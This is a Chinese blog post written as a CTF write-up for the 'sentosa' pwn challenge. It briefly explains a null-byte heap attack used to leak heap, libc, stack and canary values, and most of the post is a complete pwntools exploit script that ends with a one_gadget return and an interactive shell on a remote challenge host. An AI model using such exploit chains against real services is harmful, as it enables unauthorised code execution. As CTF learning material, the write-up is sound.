我都快忘了我还有个博客了。。。
这次有幸被XMAN夏令营选为代表去新加坡参加htib线下赛(其实由于太菜变成了新加坡5日游。。。),pwn题被虐哭,在此我要再次感谢一下BrieflyX大佬,要不是出了这道sentosa我们队就会面临一道pwn都做不出来的窘境。:)
这道题是一道很常规的题,没有什么骚套路,就是简单粗暴的栈溢出。不过由于开了PIE和canary,所以需要泄露堆地址、泄露libc基址、泄露栈地址、泄露canary。
当输入长度,即a2,为0时,会导致v2变成0xffffffff,造成一个溢出,但是最后会加上一个0,所以无法直接泄露canary。
这里利用null byte attack,用最后的0覆盖addr的最低位,导致堆指针发生变化,提前构造fastbin链表使堆上残留一个fd指针,从而泄露堆地址。然后伪造一个smallbin,修改addr然后free掉从而泄露出libc基址。然后泄露libc中的environ变量得到栈地址。最后泄露canary,然后就可以各种姿势拿flag。
注:由于堆布局的原因,泄露堆地址时首字节泄露不出来。不过首字节大概率为0x55,小概率为0x56,极小概率为0x54,所以直接硬编码为0x55,exp成功率并不是100%,不过失败了多试几次就行了。
1 from pwn import * 2 import os 3 from ctypes import * 4 5 context.log_level = 'debug' 6 7 DEBUG = False 8 9 elf = ELF('./sentosa') 10 libc = ELF('./libc.so.6') 11 12 env = os.environ 13 14 env['LD_PRELOAD'] = './libc.so.6' 15 16 if DEBUG: 17 p = process('./sentosa', env=env) 18 #raw_input('go') 19 else: 20 p = remote('47.74.144.222', 20007) 21 22 def start_project(size, name='0', price=0, area=0, capacity=0): 23 p.recvuntil('5. Exit ') 24 p.sendline('1') 25 p.recvuntil('name: ') 26 p.sendline(str(size)) 27 p.recvuntil('name: ') 28 p.sendline(name) 29 p.recvuntil('price: ') 30 p.sendline(str(price)) 31 p.recvuntil('area: ') 32 p.sendline(str(area)) 33 p.recvuntil('capacity: ') 34 p.sendline(str(capacity)) 35 36 def cancel_project(number): 37 p.recvuntil('5. Exit ') 38 p.sendline('4') 39 p.recvuntil('Input your projects number: ') 40 p.sendline(str(number)) 41 42 start_project(3) 43 start_project(3) 44 start_project(3) 45 start_project(3) 46 cancel_project(1) 47 cancel_project(0) 48 cancel_project(2) 49 50 start_project(0, 'A'*(0x98-0x3e)) 51 52 53 p.recvuntil('5. Exit ') 54 p.sendline('2') 55 p.recvuntil('Area: ') 56 a = p.recvuntil(' Capacity: ', drop=True) 57 b = p.recvuntil(' Project: ', drop=True) 58 a = c_uint(int(a, 10)).value 59 b = c_uint(int(b, 10)).value 60 61 heap = 0x550000000000 + b*0x100 62 63 print hex(heap) 64 65 start_project(43, 'B'*36+p32(0xc1), 0x10000) 66 start_project(43) 67 start_project(43) 68 start_project(43) 69 start_project(0, 'C'*(0x98-0x3e)+p64(heap+0xc0)) 70 71 cancel_project(6) 72 73 start_project(0, 'D'*(0x98-0x3e)+p64(heap+0xbc)) 74 75 p.recvuntil('5. Exit ') 76 p.sendline('2') 77 p.recvuntil('Capacity: 0 ') 78 p.recvuntil('Capacity: 0 ') 79 p.recvuntil('Capacity: 0 ') 80 p.recvuntil('Capacity: 0 ') 81 p.recvuntil('Project: ') 82 83 libc_base = u64(p.recvuntil(' Price: ', drop=True).ljust(8, 'x00')) - 0x3c3b78 84 85 environ = libc_base + libc.symbols['environ'] 86 one_gadget = libc_base + 0xf0567 87 88 start_project(27) 89 90 start_project(27+16) 91 92 start_project(0, 'E'*(0x98-0x3e)+p64(environ-4)) 93 94 p.recvuntil('5. Exit ') 95 p.sendline('2') 96 p.recvuntil('Capacity: 0 ') 97 p.recvuntil('Capacity: 0 ') 98 p.recvuntil('Capacity: 0 ') 99 p.recvuntil('Capacity: 0 ') 100 p.recvuntil('Capacity: 0 ') 101 p.recvuntil('Capacity: 0 ') 102 p.recvuntil('Capacity: 0 ') 103 p.recvuntil('Capacity: 0 ') 104 p.recvuntil('Project: ') 105 106 stack = u64(p.recvuntil(' Price: ', drop=True).ljust(8, 'x00')) 107 108 print hex(stack) # 0x7ffc42a071a8 109 110 start_project(0, 'F'*(0x98-0x3e)+p64(stack-0x133)) 111 112 p.recvuntil('5. Exit ') 113 p.sendline('2') 114 p.recvuntil('Capacity: 0 ') 115 p.recvuntil('Capacity: 0 ') 116 p.recvuntil('Capacity: 0 ') 117 p.recvuntil('Capacity: 0 ') 118 p.recvuntil('Capacity: 0 ') 119 p.recvuntil('Capacity: 0 ') 120 p.recvuntil('Capacity: 0 ') 121 p.recvuntil('Capacity: 0 ') 122 p.recvuntil('Capacity: 0 ') 123 p.recvuntil('Project: ') 124 125 canary = p.recvuntil(' Price: ', drop=True) 126 127 assert len(canary) == 7 128 129 canary = u64('x00'+canary) 130 131 print hex(one_gadget) 132 133 #raw_input('go') 134 135 start_project(0, 'C'*0x68 + p64(canary) + 'D'*0x28 + p64(one_gadget)) 136 137 p.interactive()